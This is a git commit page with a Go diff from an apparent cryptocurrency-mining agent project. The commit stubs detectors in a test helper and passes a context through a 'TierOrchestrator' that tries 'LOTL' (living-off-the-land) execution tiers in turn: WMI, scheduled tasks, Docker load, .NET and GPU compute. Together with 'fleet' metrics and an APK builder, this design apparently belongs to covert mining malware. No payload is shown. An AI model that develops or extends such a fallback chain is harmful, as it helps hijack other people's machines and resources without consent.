Update server config, builder APK logic, frontend fleet/activity metrics, and ignore test APKs
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -2,6 +2,7 @@ package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os/exec"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
@@ -15,6 +16,24 @@ import (
|
||||
// real engine so handleMessage can call pool.SetJob without panicking.
|
||||
func newTestClient(t *testing.T) *AgentClient {
|
||||
t.Helper()
|
||||
SetPostureCollector(func() *PostureReport {
|
||||
return &PostureReport{}
|
||||
})
|
||||
miner.SetProbeExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
return exec.Command("cmd.exe", "/c", "exit 1")
|
||||
})
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||
return miner.ContainerRuntimeInfo{}
|
||||
})
|
||||
miner.SetWSLDetector(func() miner.WSLRuntimeInfo {
|
||||
return miner.WSLRuntimeInfo{}
|
||||
})
|
||||
t.Cleanup(func() {
|
||||
SetPostureCollector(nil)
|
||||
miner.SetProbeExecCommand(nil)
|
||||
miner.SetRuntimeDetector(nil)
|
||||
miner.SetWSLDetector(nil)
|
||||
})
|
||||
b := config.GetBuiltinConfig()
|
||||
b.Threads = 1
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: b}
|
||||
|
||||
@@ -161,7 +161,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
|
||||
default:
|
||||
}
|
||||
start := time.Now()
|
||||
err := o.invokeTier(tier, hooks)
|
||||
err := o.invokeTier(ctx, tier, hooks)
|
||||
duration := time.Since(start)
|
||||
if err != nil {
|
||||
if errors.Is(err, ErrTierChainSkipped) {
|
||||
@@ -203,7 +203,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
|
||||
return "", ErrTierChainExhausted
|
||||
}
|
||||
|
||||
func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
||||
func (o *TierOrchestrator) invokeTier(ctx context.Context, tier LOTLTier, hooks TierHooks) error {
|
||||
switch tier {
|
||||
case TierDockerLoad:
|
||||
if hooks.StartDockerLoad == nil {
|
||||
@@ -241,7 +241,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
||||
}
|
||||
return hooks.StartDotnet()
|
||||
case TierWMI:
|
||||
attempt := RunWMITier(context.Background(), o.cfg)
|
||||
attempt := RunWMITier(ctx, o.cfg)
|
||||
o.recordAttemptRecord(attempt)
|
||||
if !attempt.OK {
|
||||
if attempt.Error == "" {
|
||||
@@ -251,7 +251,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
||||
}
|
||||
return nil
|
||||
case TierScheduledTask:
|
||||
attempt := RunScheduledTaskTier(context.Background(), o.cfg)
|
||||
attempt := RunScheduledTaskTier(ctx, o.cfg)
|
||||
o.recordAttemptRecord(attempt)
|
||||
if !attempt.OK {
|
||||
if attempt.Error == "" {
|
||||
@@ -261,7 +261,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
||||
}
|
||||
return nil
|
||||
case TierGPUCompute:
|
||||
attempt := RunGPUComputeTier(context.Background(), o.cfg)
|
||||
attempt := RunGPUComputeTier(ctx, o.cfg)
|
||||
o.recordAttemptRecord(attempt)
|
||||
if attempt.OK {
|
||||
o.mu.Lock()
|
||||
|
||||
Reference in New Issue
Block a user